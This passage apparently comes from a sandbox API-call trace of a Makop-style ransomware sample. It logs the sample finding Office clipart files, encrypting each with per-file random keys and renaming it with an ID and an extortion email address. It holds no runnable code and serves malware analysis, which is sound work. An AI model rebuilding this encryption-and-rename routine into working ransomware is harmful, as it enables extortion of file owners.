phKey=0x6577aac*=0x48c7128) returned 1 [0145.566] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.566] GetProcessHeap () returned 0x48a0000 [0145.566] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.566] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.566] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.566] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.567] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.567] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.567] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.567] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.567] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.567] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.567] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.568] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c08, lpOverlapped=0x0) returned 1 [0145.571] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c10) returned 1 [0145.571] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.572] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c10, lpOverlapped=0x0) returned 1 [0145.572] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.572] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.572] SetEndOfFile (hFile=0xf0) returned 1 [0145.582] GetProcessHeap () returned 0x48a0000 [0145.582] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.582] GetProcessHeap () returned 0x48a0000 [0145.582] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.582] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.584] CloseHandle (hObject=0xf0) returned 1 [0145.585] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1 [0145.585] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP") returned 63 [0145.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.588] GetProcessHeap () returned 0x48a0000 [0145.588] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.588] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.589] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.589] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.593] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.593] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.593] GetProcessHeap () returned 0x48a0000 [0145.593] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.593] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.593] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.593] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.593] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.593] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.594] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.595] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.595] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.595] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.595] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.595] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.596] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0145.599] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0145.599] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.599] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0145.600] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.600] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.600] SetEndOfFile (hFile=0xf0) returned 1 [0145.609] GetProcessHeap () returned 0x48a0000 [0145.609] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.609] GetProcessHeap () returned 0x48a0000 [0145.609] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.609] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.611] CloseHandle (hObject=0xf0) returned 1 [0145.632] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1 [0145.632] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP") returned 63 [0145.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.634] GetProcessHeap () returned 0x48a0000 [0145.634] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.634] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.634] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.634] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.634] GetProcessHeap () returned 0x48a0000 [0145.635] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.635] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.635] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.635] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.640] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.640] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.640] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.641] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.641] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.641] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.641] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.643] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0145.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.644] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.644] SetEndOfFile (hFile=0xf0) returned 1 [0145.651] GetProcessHeap () returned 0x48a0000 [0145.652] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.652] GetProcessHeap () returned 0x48a0000 [0145.652] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.652] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.654] CloseHandle (hObject=0xf0) returned 1 [0145.654] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1 [0145.654] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP") returned 63 [0145.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.657] GetProcessHeap () returned 0x48a0000 [0145.658] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.658] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.662] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.662] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.662] GetProcessHeap () returned 0x48a0000 [0145.662] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.662] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.662] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.663] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.663] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.663] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.663] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.663] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.664] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0145.665] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0145.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0145.667] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.667] SetEndOfFile (hFile=0xf0) returned 1 [0145.675] GetProcessHeap () returned 0x48a0000 [0145.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.675] GetProcessHeap () returned 0x48a0000 [0145.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.676] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.677] CloseHandle (hObject=0xf0) returned 1 [0145.678] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1 [0145.678] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP") returned 63 [0145.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.679] GetProcessHeap () returned 0x48a0000 [0145.679] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.679] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.679] 